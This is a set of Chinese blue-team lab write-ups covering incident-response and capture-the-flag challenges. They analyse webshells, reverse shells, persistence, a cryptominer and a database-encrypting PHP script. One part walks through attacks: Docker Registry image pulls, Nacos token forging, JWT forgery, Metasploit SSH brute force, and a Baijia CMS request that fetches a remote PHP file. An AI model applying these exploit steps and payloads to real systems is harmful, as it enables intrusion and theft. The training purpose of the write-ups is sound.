flag格式{/xxx/xxx/xxxx/xxx/xxxxx/xxxxxx/xxxxxx/xxxx/xxxx-xxxxagent} 中间值 md5 后作为 flag 提交 flag{md5} - 是链接符 Wireshark分析result.pcap包, php网站 特别关注PHP脚本文件 /lot/admin/assets/uploads/maps/1701324180_Shell123.php my_is_user_agent 在靶机中find / -name 1701324180_Shell123.php 得到 /var/www/html/lot/admin/assets/uploads/maps/1701324180_Shell123.php 故 /var/www/html/lot/admin/assets/uploads/maps/1701324180_Shell123.php-my_is_user_agent 根据题意 flag{14bea1643a4b97600ba13a6dd5dbbd04} 3 攻击者反弹shell的IP及端口是什么(ip:port) 查看数据包(webshell内容得到) flag{192.168.150.110:5678} 4 攻击者利用提权攻击添加的用户,用户名是什么 查看/etc/passwd flag{zhangsan} 5 攻击者留下了后门脚本,找到绝对路径(有SUID权限) find / -user root -perm -4000 -print 2>/dev/null 发现了一个隐藏目录下的隐藏shell flag{/var/www/html/lot/admin/assets/vendor/.shell/.decodeshell.php} 6 攻击者留下了持续化监控和后门脚本,找到绝对路径 ‍持续化监控 想到权限维持 常用操作 查看计划任务crontab -l flag{/opt/.script/.script.sh} 第九章-blueteam 的小心思 攻击者通过什么密码成功登录了网站的后台?提交密码字符串的小写md5值,格式flag{md5}。 分析出,用户名和密码都是post传参,日志看不到,猜测题目有流量包 find / -name *.pcap 2>/dev/null 最后一个login.php包就是登陆成功了 密码 2.攻击者在哪个PHP页面中成功上传了后门文件?例如upload.php页面,上传字符串"upload.php"的小写md5值,格式flag{md5}。 3.找到攻击者上传的webshell文件,提交该文件的小写md5值,格式flag{md5}。 4.攻击者后续又下载了一个可执行的后门程序,提交该文件的小写md5值,格式flag{md5}。 有boundry,很明显就是文件上传的报文,且下一个包就没访问这个php,说明这个就是 webshell就是后面访问的路径, find / -newerct '2024-01-24 08:10:00' ! -newerct '2024-01-24 09:10:00' ! -path '/proc/*' ! -path /'sys/*' ! -path '/run/*' -type f -exec ls -lctr --full-time {} \+ 2>/dev/null 5.攻击者创建了后门用户的名称是?例如attack恶意用户,上传字符串"attack"的小写md5值,格式flag{md5} awk F: '/\$1|\$6/ {print $1}' /etc/shadow 6.攻击者创建了一个持久化的配置项,导致任意用户登录就会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}。 如果是所有用户的开机自启项,考虑/etc下面的文件 /etc/profile 7.攻击者创建了一个持久化的配置项,导致只有root用户登录才会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}。 直接查看root下面的文件 /root/.bashrc /var/lib/mysql/ubuntu18.log /var/lib/mysql/ubuntu18-slow.log 8.攻击者加密了哪个数据库?提交数据库的文件夹名,例如user数据库对应存放位置为user文件夹,上传字符串"user"的小写md5值,格式flag{md5}。 JPMorgan@0020Chase/,里面的frm和ibd都被加密了 9.解密数据库,提交Harper用户对应Areer的值。提交Areer值的小写md5值,格式flag{md5}。 touch "2023-11-18 23:04:19" 1 find / -type f -newer 1 ! -newer Balance.frm 2>/dev/null /var/liv/mysql/clockup.php <?php $currentDate = date("Y-m-d"); $key = md5($currentDate); $iv = substr(hash('sha256', "DeepMountainsGD"), 0, 16); $filePath = "/var/lib/mysql/JPMorgan@0020Chase"; $files = scandir($filePath); foreach ($files as $file) { if ($file != "." && $file != "..") { $fullPath = $filePath . '/' . $file; $content = file_get_contents($fullPath); $encryptedContent = openssl_encrypt($content, 'aes-256-cbc', $key, 0, $iv); file_put_contents($fullPath, $encryptedContent); } } ?> 根据逻辑反推 <?php $key = md5("2023-11-18"); $iv = substr(hash('sha256', "DeepMountainsGD"), 0, 16); $content = file_get_contents("UserIdentitybak.ibd"); $data = openssl_decrypt($content,"aes-256-cbc",$key,0,$iv); file_put_contents("UserIdentity.ibd",$data); 10.还原好的四个文件替换原来的,然后mysql查询就行 find / -user root -perm -4000 -print 2>/dev/null 盲猜一手sudo提权,直接看/etc/sudoers 第九章-blueteam 的小心思2 1. Fscan 扫描 ./fscan_mac -h 52.83.46.219 -p 1-65535 2. 攻击私有仓库 通过扫描发现私有仓库的端口为5000。 目录扫描可以扫到一下两个路径,说明存在Docker Registry 未授权。 http://52.83.46.219:5000/v2/ http://52.83.46.219:5000/v2/_catalog 2.1 列出存储库 http://52.83.46.219:5000/v2/_catalog 2.2 查看具体的仓库信息 http://52.83.46.219:5000/v2/nacos/manifests/latest 2.3 拉取私有仓库中的 Nacos 镜像 docker pull <仓库地址>/<镜像名称>:<标签> docker pull 43.192.47.138:5000/nacos 2.4 解决http: server gave HTTP response to HTTPS client 由于docker镜像拉取与推送服务使用的是https协议,但是仓库服务器上面没有配置https证书,可以修改客户端的配置,使用http协议进行通信。编辑/etc/docker/daemon.json文件。 vim /etc/docker/daemon.json 添加以下内容: { "insecure-registries": ["43.192.47.138:5000"] } 然后重启docker服务。 systemctl restart docker 2.5 再次拉取私有仓库中的 Nacos 镜像 docker pull 43.192.47.138:5000/nacos 2.6 运行Nacos容器 运行容器,进入容器。 docker run -itd 4249d3c080bc docker exec -it fa18ae900e9 bash 找到 Nacos 配置文件,conf 目录下的application.properties文件。 得到Nacos的key为: eGpuYWNvczIwMjNwZW5ndWluZWRpc2VjZmxhZ2ZsYWdmbGFn 按照题目要求,进行base64解码后得到第一个flag。 flag{xjnacos2023penguinedisecflagflagflag} 3. 本地搭建 Nacos 本地使用centos系统搭建Nacos2.2.3,使用从docker镜像中获取到的配置。 3.1 下载 Nacos2.2.3 安装包 https://github.com/alibaba/nacos/releases/download/2.2.3/nacos-server-2.2.3.tar.gz 3.2 解压并移动 tar -zxvf nacos-server-2.2.3.tar.gz mv nacos /usr/local 3.3 在 centos7 中安装 JDK8 (1) 安装和镜像环境中一样的java版本。 yum install java-1.8.0-openjdk* -y 安装目录为:/usr/lib/jvm/java-1.8.0-openjdk (2) 验证是否安装成功 java -version 输出以下内容则表示安装配置完成: openjdk version "1.8.0_222" OpenJDK Runtime Environment (build 1.8.0_222-b10) OpenJDK 64-Bit Server VM (build 25.222-b10, mixed mode) (3) 修改环境变量 vim /etc/profile 在最下面添加以下配置: export JAVA_HOME=/usr/lib/jvm/java-1.8.0-openjdk export JRE_HOME=${JAVA_HOME}/jre export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib export PATH={JAVA_HOME}/bin:$PATH (4) 刷新配置,让profile文件立即生效 source /etc/profile 3.4 编辑 application.properties cd /usr/local/nacos/conf vim application.properties 把application.properties文件的内容替换为从docker镜像中得到的application.properties文件内容。但是其中的一些环境变量(如数据库相关的环境变量)需要替换一下。 # spring server.servlet.contextPath=${SERVER_SERVLET_CONTEXTPATH:/nacos} server.contextPath=/nacos server.port=8848 server.tomcat.accesslog.max-days=30 server.tomcat.accesslog.pattern=%h %l %u %t "%r" %s %b %D %{User-Agent}i %{Request-Source}i server.tomcat.accesslog.enabled=${TOMCAT_ACCESSLOG_ENABLED:false} server.error.include-message=ALWAYS # default current work dir server.tomcat.basedir=file:. #*************** Config Module Related Configurations ***************# ### Deprecated configuration property, it is recommended to use `spring.sql.init.platform` replaced. #spring.datasource.platform=${SPRING_DATASOURCE_PLATFORM:} spring.sql.init.platform=${SPRING_DATASOURCE_PLATFORM:} nacos.cmdb.dumpTaskInterval=3600 nacos.cmdb.eventTaskInterval=10 nacos.cmdb.labelTaskInterval=300 nacos.cmdb.loadDataAtStart=false db.num=${MYSQL_DATABASE_NUM:1} db.url.0=jdbc:mysql://127.0.0.1:3306/nacos_config?${MYSQL_SERVICE_DB_PARAM:characterEncoding=utf8&connectTimeout=1000&socketTimeout=3000&autoReconnect=true&useSSL=false} db.user.0=root db.password.0=123456 ### The auth system to use, currently only 'nacos' and 'ldap' is supported: nacos.core.auth.enabled=true nacos.core.auth.system.type=nacos ### worked when nacos.core.auth.system.type=nacos ### The token expiration in seconds: nacos.core.auth.plugin.nacos.token.expire.seconds=${NACOS_AUTH_TOKEN_EXPIRE_SECONDS:18000} ### The default token: nacos.core.auth.plugin.nacos.token.secret.key=eGpuYWNvczIwMjNwZW5ndWluZWRpc2VjZmxhZ2ZsYWdmbGFn ### Turn on/off caching of auth information. By turning on this switch, the update of auth information would have a 15 seconds delay. nacos.core.auth.caching.enabled=${NACOS_AUTH_CACHE_ENABLE:false} nacos.core.auth.enable.userAgentAuthWhite=false nacos.core.auth.server.identity.key=nacosKey nacos.core.auth.server.identity.value=nacosValue ## spring security config ### turn off security nacos.security.ignore.urls=${NACOS_SECURITY_IGNORE_URLS:/,/error,/**/*.css,/**/*.js,/**/*.html,/**/*.map,/**/*.svg,/**/*.png,/**/*.ico,/console-fe/public/**,/v1/auth/**,/v1/console/health/**,/actuator/**,/v1/console/server/**} # metrics for elastic search management.metrics.export.elastic.enabled=false management.metrics.export.influx.enabled=false nacos.naming.distro.taskDispatchThreadCount=10 nacos.naming.distro.taskDispatchPeriod=200 nacos.naming.distro.batchSyncKeyCount=1000 nacos.naming.distro.initDataRatio=0.9 nacos.naming.distro.syncRetryDelay=5000 nacos.naming.data.warmup=true 3.5 启动 Nacos cd /usr/local/nacos/bin sh startup.sh -m standalone 启动成功。 在登陆处抓包,得到accessToken。 { "accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxNjk2NDY0Mn0.WKu4KhZu1DX4qmNgtEZl7J_dRXbVvDQWmOpMYNdHb6Y", "tokenTtl":18000, "globalAdmin":true, "username":"nacos" } 4. Nacos 渗透4.1 登陆 Nacos 使用本地搭建Nacos登陆获得到的accessToken去登陆题目中的Nacos。 在登陆处抓包,修改响应数据包。 得到: 将响应数据包修改为: HTTP/1.1 200 Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Content-Security-Policy: script-src 'self' Content-Type: application/json Content-Length: 14 Date: Sat, 25 May 2024 02:50:47 GMT Connection: close { "accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxNjk2NDY0Mn0.WKu4KhZu1DX4qmNgtEZl7J_dRXbVvDQWmOpMYNdHb6Y", "toenTtl":18000, "globalAdmin":true } 点击Forward。 登陆成功。 4.2 配置管理信息收集 在ADMIN_CONFIG中得到第二个flag以及FMS系统的帐号密码。 # file-managerpassword file-manager: name: admin password: xj2023@1578921@123 jwtkey: 123456 #flag{9d7ffcef-bcd1-4f4b-9a2d-d51862484168} 5. FMS 渗透5.1 登陆 FMS 使用从Nacos配置中得到的帐号密码登陆FMS。 file-manager: name: admin password: xj2023@1578921@123 jwtkey: 123456[![img](https://xzfile.aliyuncs.com/media/upload/picture/20240530170929-523ceed2-1e64-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20240530170929-523ceed2-1e64-1.png) 登陆成功,但是提示权限不够。 5.2 jwt 构造 抓包。 利用从 Nacos 配置中得到的 jwtkey: 123456 进行 jwt 构造(网站 https://jwt.io/ )。 将Token改为构造后的值再发送。 eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJob3N0IiwibmFtZSI6InN5c2FkbWluMTIzNDU2IiwiZXhwIjoxNzE2OTU1MDYwLCJpYXQiOjE3MTY5NDc4NjB9.n1A38ZxyRfHye1sMJAVQEkH9T-J7KTa8PxPTUBUtLQg[![img](https://xzfile.aliyuncs.com/media/upload/picture/20240530171111-8f306896-1e64-1.png)](https://xzfile.aliyuncs.com/media/upload/picture/20240530171111-8f306896-1e64-1.png) 成功看到FMS中的文件。 5.3 下载运维帐号 利用同样的方法,抓包修改Token,将几个文件下载下来。 在「运维帐号.xlsx」文件中得到很多密码。 5.4 上传文件 在文件上传处抓包,修改token,成功上传文件,得到第三个flag。 flag{d6c578d4a41a141d731fe7c36c8c0f77} 6. 获取服务器权限6.1 ssh 口令爆破 使用MSF中的模块进行ssh口令爆破,密码字典为从「运维帐号.xlsx」文件中得到的密码。 use auxiliary/scanner/ssh/ssh_login set RHOSTS 161.189.163.153 set USERNAME root set PASS_FILE pwd.txt set RPORT 2222 run 爆破成功,得到密码为imArGcj9。 则第四个flag为: flag{imArGcj9} 6.2 ssh 连接 ssh [email protected] -p 2222 7. 找到黑客留下的 backdoor 黑客留下的 backdoor 后门的绝对路径,这里我是直接按照时间排查的,发现evilfms.service。 find / -type f -newermt 2023-12-01 ! -newermt 2024-01-01 得到第五个flag。 flag{evilfms.service} 这道题这5个flag拿到就已经完成了,后面应急部分自己修吧 第九章-blueteam 的小心思2 1、审计日志,攻击者下载恶意木马文件的 ip是多少 flag{ip} flag{192.168.150.253} 2、审计流量包,木马文件连接密码是什么? 查看与shell.php相关http的日 flag{cmd} 3、审计流量包,攻击者反弹的IP和端口是什么? 查看流量: flag{192.168.150.199:4444} 4、提交黑客上传恶意文件的 md5 使用命令,查看上传恶意文件前后三小时内被修改的文件: find / -newerct '2023-12-21 08:00:16' ! -newerct '2023-12-21 11:00:16' ! -path '/proc/' ! -path '/sys/' ! -path '/run/*' -type f -exec ls -lcr --full-time {} + 2>/dev/null 发现/module.so文件 使用命令:md5sum module.so 即可获取MD5值 flag{d41d8cd98f00b204e9800998ecf8427e} 5、攻击者在服务器内权限维持请求外部地址和恶意文件的地址 查看定时任务 cat /etc/crontab flag{http://192.168.150.199:88/shell.php} 1. 审计日志,攻击者下载恶意木马文件的 ip是多少 flag{ip} 直接过滤http协议 FLAG:192.168.150.253 2.审计流量包,木马文件连接密码是什么? flag{xxx} 使用post传的cmd参数,用蚁剑进行连接 FLAG:cmd 3.审计流量包,攻击者反弹的IP和端口是什么? flag{ip:port} 选中数据包->在post传参中选倒数第二条->复制->值 要多添加几个字符,保证base64能够正常解码 FLAG:192.168.150.199:4444 4.提交黑客上传恶意文件的 md5 md5sum xxx.so 利用redis的主从复制上传了modules.so文件 使用redis进行反弹shell FLAG:module.so 5.攻击者在服务器内权限维持请求外部地址和恶意文件的地址flag{http://xxxx/xxxx} 看到题目就要想到计划任务,数据包中也可以看到 FLAG:http://192.168.150.199:88/shell.php 总结: *通过这个***evil.php**下载了另外一个木马**shell.php**,木马的密码为**cmd**使用**.shell.php**看**redis**配置文件和反弹**shell**,反弹成功.**** redis**服务利用主从复制,整了**module.so**文件,然后利用这个文件进行命令执行,又反弹**shell4**使用新的**shell**,进行了权限维持.** 第九章-Where-1S-tHe-Hacker 0.场景描述 韩一是划水通信公司的一名安服,某天在日常巡检的过程中发现客户网站被入侵并挂了黑页,他意识到自己需要应急哥的帮助,于是他毫不犹豫地给你打电话。请你找出攻击痕迹并还原攻击链。服务器已经处于网络隔离状态,排查出并清理攻击者留存的恶意文件,将web服务恢复正常,保证服务器不存在安全问题,在做应急处置、溯源的过程中请给发现存在的脆弱点加固建议。 1.隐患排查 本文的思路仅仅是按照靶场内容建设,并不与真实环境下的排查方案一致 靶机用户和密码 用户:admin 密码:Aa123456 1.1 隐藏用户 唤醒屏保就可以看到在登录界面的左下角存在两个用户,分别是 admin 和 admin$ ,以 $ 结尾是常见的后门用户命名方式 可以通过查看注册表表项 计算机\HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names 下的条目看到本地计算机的所有用户,可以更加精确地排查是否有后门用户建立 1.2 敏感信息 1.2.1 站点信息泄露 在当前用户的桌面存在敏感信息 mysql_conf.txt ,该文件上存储了后台管理员账号密码和数据库地账号密码 1.2.2 站点源码泄露 在站点根目录下存在站点源码的压缩文件 1.3 主站黑页 在站点根目录的 index.php 中发现如下内容 hacker by X1234567X 查看文件相关信息:创建时间、修改时间、访问时间,初步定位被渗透时间 1.3.1 webshell 后门查询 使用D盾、河马等查杀工具,对web目录下的文件进行查杀,可以看到第一个文件是在 2015 年建立的,后面两个文件是在2023 年建立的,且内容均为 eval($_POST[]);` 形式 1.4 web 中间件日志分析 1.4.1 access.log access.log 文件记录了服务器接收到的所有HTTP请求的详细信息。每条记录通常包括时间戳、客户端IP地址、请求的URL、HTTP方法(如GET或POST)、返回的HTTP状态码、传输的数据大小等 1.4.2 error.log error.log 文件记录了服务器在处理请求时遇到的错误和异常。这些错误可能包括404未找到错误、500服务器内部错误、权限问题、配置错误等 1.5 windows 日志查询 win + R 输入 eventvwr 打开事件管理器 1.5.1 ID 4720 windows event ID=4720 代表已创建用户帐户 1.5.2 ID 4732 windows event ID=4732 代表已将成员添加到启用安全性的本地组 1.5.3 ID 5058 windows event ID=5058代表和密钥文件操作相关,它与Windows加密服务和密钥管理有关,例如密钥的创建、导入、导出或使用密钥进行加密或解密的活动。 1.5.4 ID 4624 windows event ID=4624代表一个用户成功登录,在某些情况下,事件ID 4624 可能会记录使用SMB协议的网络连接尝试,即使这些尝试最终没有导致用户登录系统。 1.6 后门查杀 可以尝试使用杀毒软件进行查杀,因为是windows,这里我们直接使用微软的 defender 对木马文件进行查杀 第九章-Where-1S-tHe-Hacker-part2 0.场景描述 水哥是某公司的一名运维,某天他在日常巡检的过程中发现了异常,敏锐的他感觉到了事情的不妙,于是联系同事要到了你的电话,请你帮助他解决这个难题。 1.隐患排查 本文的思路仅仅是按照靶场内容建设,并不与真实环境下的排查方案一致 靶机用户和密码 用户:admin 密码:Aa123456 1.1 webshell 后门查杀 使用D盾、河马等查杀工具,对web目录下的文件进行查杀 可以看到一大堆意思后门,且内容均为 eval($_POST[]);` 形式,打开文件对应位置,并且查看文件信息:创建时间、修改时间和访问时间,根据创建时间可以知道文件落地时间 1.2 后门查杀 针对后门查杀,我们可以使用杀毒软件直接进行查杀,这里我使用的是火绒 排除webshell的干扰,我们可以看到在 C:\windows\Temp 下存在一个可疑文件 huorong.exe 打开文件相应位置可以看到是一个伪装成火绒安装包的后门文件,查看文件属性创建时间为2023年11月15日7:45:47 1.3 后门用户检测 1.3.1 windows event 可以使用windows的时间管理工具中的日志筛选功能,对事件ID为4720和4732的时间进行筛选 1.3.2 D盾克隆账号检测 也可以使用D盾的克隆账号检测功能,这里我们尝试使用D盾的克隆账号检测功能 在扫描的结果中,可以很清晰的看到,Guest账号被启用并添加进管理员组 为什么首当其冲的怀疑这个账号呢? 1.3.2.1 Guest账号 Windows中的Guest账户是一个特殊的用户账户,它允许用户在没有创建个人账户的情况下访问计算机。由于Guest账户的权限较低,它不适合需要执行高级任务或访问敏感信息的用户 1.4 计划任务、服务、开机自启动项查杀 这里我们可以使用独立安装版火绒剑,这款工具官方已经下架,需要自己搜寻一下资源,而且目标主机上最好不要安装火绒最新版,最新版的火绒会识别火绒剑的程序并禁用 打开火绒剑,一次查看 启动项 -> 计划任务 ,我们可以很清晰的看到一个安全状态为未知的疑似火绒安装包程序被加入了开机启动项程序,右键查看属性,可以看到,正是我们之前通过火绒查杀出来的后门文件 Win+R,输入 taskschd.msc 启动任务计划程序,定位到 \Microsoft\Windows\AppID\ ,找到上文中 Microsoft SysnomCon 程序 右键导出异常计划任务 Microsoft-SysnomCon 即可查看到详细信息,这里显示注册时间为2023年11月15日8:02:20 2. 利用链分析2.1 FTP 弱口令 攻击者尝试使用 anonymous 和 ftp 用户尝试登录 使用 ftp/123456 成功登录主机FTP服务 可以看到我们当前 FTP 所在的目录正是 webshell 的目录 2.2 站点后台管理员弱口令 对于一个 web 站点,我们通常会尝试对其登录页面进行弱口令登录尝试,登录成功往往会有 Js 页面跳转 、 Get Param url跳转 和 30x 页面重定向 等标志 访问首页地址 http://localhost/index.php?mod=mobile&act=public&do=index&beid=1 ,发现是一个登陆界面,我们尝试对其账号密码进行弱口令爆破 成功使用 admin/123456 成功登录管理员后台界面 2.3 Baijia CMS 后台任意文件上传漏洞 payload: GET /index.php?mod=site&do=file&act=public&op=fetch&beid=1&url=http://远程地址/文件.php HTTP/1.1 Host: Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=pusi68o14jke80q64hcg8ram20; __fileupload_type=image; __fileupload_dest_dir=; __fileupload_global= Connection: close 可以加载指定URL文件到本地,存储路径会在 HTTP Response 中显示,这里我们尝试上传一个不同域中的 访问返回包中的路径,成功显示 PHPinfo 的内容,文件上传成功 可以在 /index.php?mod=site&do=file&act=public&op=local&beid=1 路径中查看到所有上传文件的路径 上面排查的webshell后门可以分析一部分可能是通过 FTP 上传功能上传到web站点的,一部分可能通过此处文件上传漏洞上传的 可以在web日志中很清楚的看到后门文件通信的时间 第九章 NOP Team dmz-A 步骤1 1、请提交禅道的版本号,格式: flag{xx.xxx.xxxx} 在web目录下可以找到版本信息 image-20240602001926994 flag{18.0.beta1} 步骤2 2.分析攻击者使用了什么工具对内网环境进行了信息收集,将该工具名称提交 flag{xxxx} 在/opt目录下发现gj目录,在里面发现fscan image-20240602002630608 flag{fscan} 步骤3 3.攻击者攻击服务器得到shell以后,是处于哪个用户下做的操作,将该用户名提交 flag{xxxx} 版本是18.0.beta1,有个rce洞 禅道项目管理系统RCE漏洞复现 flag{nobody} 步骤4 4.攻击者扫描到内网 DMZ-B机器的账户密码为多少格式 flag{root:root} cat fscan查看扫描结果 flag{admin:123456} 第九章 NOP Team dmz-B 步骤1 image-20240602003351886 发现需要用到A里面找到的用户名和密码,已知用户名为admin,密码为123456. 查看history发现连接过C主机 flag{ssh:deploy} 第九章 NOP Team dmz-C 步骤1 1.攻击者通过攻击DMZ-B机器发现有密钥可以免密登录到DMZ-C机器里,然后攻击者上传了一个挖矿程序,请将该挖矿程序的名称提交,格式 <flag{xxxxxx}> 查看一下history flag{xmrig} 步骤2 2.攻击者通过攻击DMZ-B机器发现有密钥可以免密登录到DMZ-C机器里,然后攻击者上传了一个挖矿程序,请将该挖矿的地址提交,格式 <flag{xxxxxx}> 直接cat config.json flag{xmrs1.pool.cn.com:55503} 步骤3 3.攻击者通过攻击DMZ-B机器发现有密钥可以免密登录到DMZ-C机器里,然后攻击者上传了一个挖矿程序,但由于DMZ-C机器是不出网的,所以攻击者通过了一种方式将流量转发了出去,请将转发的目标端口提交,格式 <flag{xxxxxx}> 不出网,能把流量转发出去应该是开了代理,发现/opt/client下面有一个frpc.ini文件 flag{1080} 步骤4 4.攻击者通过攻击DMZ-B机器发现有密钥可以免密登录到DMZ-C机器里,然后攻击者上传了一个挖矿程序,但由于DMZ-C机器是不出网的,所以攻击者通过了一种方式将流量转发了出去,请将用来做转发的工具的名称提交,格式 <flag{xxxxxx}> 由步骤3可知转发流量的工具为frpc flag{frpc} 步骤5 5.攻击者最后通过某配置文件配置错误,从而直接可以拥有root用户权限,请将错误配置的那一行等于号后面的内容(不含空格)提交,格式 <flag{xxxxxxx}> sudo就有root权限,配置文件为/etc/sudoers flag{(ALL:ALL)NOPASSWD:ALL} 实战-行业攻防应急响应 镜像下载地址:https://pan.quark.cn/s/00642862b330 被攻击站点使用的是spring boot框架,我们此处使用若依复现,被利用到的点会在其中 防:应急阶段 系统: Ubuntu 22.0.4CPU: 4颗内存: 4G空间: 保证6G左右应急主机: 192.168.0.211网关: 192.168.0.1/24其它傀儡机: 段内账号/密码: root/security123流量包: /home/security/security.pcap注: 因未使用中间件开放WEB,所以日志全程以流量包分析题目: 1. 根据流量包分析首个进行扫描攻击的IP是 2. 根据流量包分析第二个扫描攻击的IP和漏扫工具,以flag{x.x.x.x&工具名} 3. 提交频繁爆破密钥的IP及爆破次数,以flag{ip&次数}提交 4. 提交攻击者利用成功的密钥,以flag{xxxxx}提交 5. 提交攻击者获取到的所有服务的弱口令,多个以&提交,如flag{xxx&xxx&xxx} 6. 根据应急响应方法,提交利用漏洞成功的端口,多个以&连接,如:flag{port&port&port} 7. 根据流量包分析,提交攻击者利用密钥探测成功的dnslog地址 8. 根据流量包分析,提交攻击者反弹shell的地址和端口,以flag{x.x.x.x&port}提交 9. 攻击者在主机放置了fscan(已改名),经扫描拿下一台永恒之蓝漏洞主机,以此为线索进行提交fscan绝对路径 10. 另类方法:提交此fscan工具的MD5值,以flag{xxxxxx}提交 11. 攻击者为了权限维持,在主机放置了仿真远控工具,需提交此远控工具的下载地址,以flag{http:xxx.xx/xxx} 12. 攻击者就知道你会这样找到,所以又创建了一条相关的脚本,使用其他方法进行下载,提交脚本的绝对路径 13. 攻击者创建了一个隐藏用户,提交此用户的用户名,以flag{xxxx}提交 题目答案 根据流量包分析首个进行扫描攻击的IP是 192.168.0.223 打开抓取的流量包,这什么啊,没有一点规律,这个时候不要着急 已知被攻击主机IP为192.168.0.211,所以我们可以使用过滤器进行过滤 ip.dst == 192.168.0.211 排除掉 192.168.0.200的ping包,这是物理机发送的正常探测包,往下找到源IP为192.168.0.223看到,疑似存在端口探测行为 使用过滤器筛选 ip.dst == 192.168.0.211&&ip.src==192.168.0.223看到共请求七万多次,再往下还有http协议 为了验证猜想,可以使用过滤器筛选,看到端口探测的包的数量 ip.dst == 192.168.0.211&&ip.src==192.168.0.223&&tcp.flags.syn == 1 继续回到一开始192.168.0.223扫描机器流量阶段,可以看到前有端口探测,后有目录文件扫描,被扫描的端口有12333和9988 回到Linux主机,我们可以执行 netstat查看到对外开放的两个WEB端口正是这两个 题目答案 根据流量包分析第二个扫描攻击的IP和漏扫工具,以flag{x.x.x.x&工具名} 192.168.0.200&acunetix 还是根据时间排序,已知第一个扫描的IP行为是端口探测和文件扫描,在后续进行筛选是可以将此IP过滤掉 ip.dst == 192.168.0.211&&ip.src!=192.168.0.223 翻过去上面ping包后,看到192.168.0.200的IP使用56259端口在批量进行扫描,还有HTTP协议,可以进一步对此IP根据 ip.dst == 192.168.0.211&&ip.src==192.168.0.200&&http 进行过滤后看到以上IP对WEB端口进行了6000次有规律的WEB扫描,由于12333端口是若依框架,不存在的文件会302跳转 继续往下查找,寻找漏洞扫描器特征,主要从UA、字典特征,行为特征、DNSlog地址、url中的某些地址查看 在以上图片中,我们看到在160872次流量中,有bxss.me域名,这是漏扫器 acunetix或称 AWVS的特征 经过此次筛选我们已知,192.168.0.200的IP,行为特征是,已知开放的WEB端口,使用AWVS漏扫器进行漏洞扫描,次数少,特征明显 题目答案 提交频繁爆破密钥的IP及爆破次数,以flag{ip&次数}提交 192.168.0.226&1068 继续筛选条件,将上方已知攻击行为的IP排除在外,筛选后看到是192.168.0.226在请求,先查看有无异常 ip.dst == 192.168.0.211&&ip.src!=192.168.0.223&&ip.src!=192.168.0.200 上图看到此IP一直请求被攻击机12333端口,我们单列出来看结果 ip.dst == 192.168.0.211&&ip.src==192.168.0.226 上图看到,前面是正常的初次连接,进行的TCP会话,但是往后看,297346流量后,全是请求login接口,很有规律,打开流量包看到疑似在爆破shiro密钥 上图看到,追踪http流以后,第一个请求先确认了shiro框架的存在,接着就是爆破shiro密钥的行为(若依框架此处开启了shiro安全框架) ip.dst == 192.168.0.211&&ip.src==192.168.0.226&&http.request.uri=="/login" 使用以上过滤条件筛选到,192.168.0.226这个IP,爆破shiro密钥1068次,去除(初次请求握手和探测shiro)三次 目前已知192.168.0.226这个IP行为目的明显,已知开放的WEB端口,已知框架类型和可能存在的漏洞并尝试利用 题目答案 提交攻击者利用成功的密钥,以flag{xxxxx}提交 c+3hFGPjbgzGdrC+MHgoRQ== 对以上已知的攻击行为IP进行过滤,看到IP为192.168.0.242刚开始就爆破密钥 ip.dst == 192.168.0.211&&ip.src!=192.168.0.223&&ip.src!=192.168.0.200&&ip.src!=192.168.0.226 过滤器中加入此IP进行跟进分析行为 ip.dst == 192.168.0.211&&ip.src==192.168.0.242 跟进此IP后,前面经过爆破,没有成功,而后访问了9988端口,访问/actuator/heapdump文件进行下载(heapdump:JVM 内存信息,分析出明文密码) 此处攻击者就是分析heapdump文件中的密钥进行的后期攻击行为,我们可以反编译/home/security/ruoyi/ruoyi-admin.jar文件,在ruoyi-admin/src/resource/application.yml文件查看到密钥 假如说是动态密钥,我们可以利用同样的方法,下载heapdump,使用相关工具提取密钥,此处我用的JDumpSpider https://github.com/whwlsfb/JDumpSpider 经过分析,以上IP进行后攻击可能性极大,继续往下跟进分析即可 题目答案 提交攻击者获取到的所有服务的弱口令,多个以&提交 ruoyi123&admin123&123456 这个在流量中看不到,只需看heapdump明文密码即可,从上往下分析,第一个就是数据库密码是弱口令,为ruoyi123 接着往下看到若以的两个账号的默认口令同样为admin123 在往下找到若依框架开启的druid监控服务默认口令为123456 题目答案 根据应急响应方法,提交利用漏洞成功的端口,多个以&连接 9988&12333 已知对外开放的端口为22、9988、12333端口,22端口为远程连接,9988端口在前期被192.168.0.223进行端口扫描和文件扫描,被192.168.0.200使用AWVS进行扫描,被192.168.0.242访问并下载heapdump进行后续利用 而12333端口是若依搭建的框架,被前面IP进行扫描且进行过爆破,最后一步在192.168.0.242这个IP获取到shiro密钥 所以综上所述,9988端口是被直接利用获取敏感信息,从而导致12333后续被攻击成功 题目答案 根据流量包分析,提交攻击者利用密钥探测成功的dnslog地址 1dvrle.dnslog.cn 在攻击者成功利用密钥探测成功后,会先探测此主机是否出网,往往会使用dnslog进行测试,我们只需筛选DNS协议及主机 dns&&ip.src==192.168.0.211 流量不多,仔细查看翻阅,排除掉正常的域名地址,找到dnslog的地址 题目答案 根据流量包分析,提交攻击者反弹shell的地址和端口 192.168.0.251:8888 我们此处继续筛选,因为爆破和利用shiro都是在若依进行的,若依走的是HTTP协议,直接筛选即可 ip.dst==192.168.0.211&&ip.src==192.168.0.242&&http shiro的利用过程一般分为以下几个步骤,较为详细 此处我们可从下往上逆推流量进行解密,因为前面爆破密钥,爆破构造链等多次,从上往下找不好定位 我这是在过滤后结果最后流量中追踪的,复制出cookie中rememberMe中的值进行解密,脚本我这里用的希谭实验室ABC123大佬写的工具 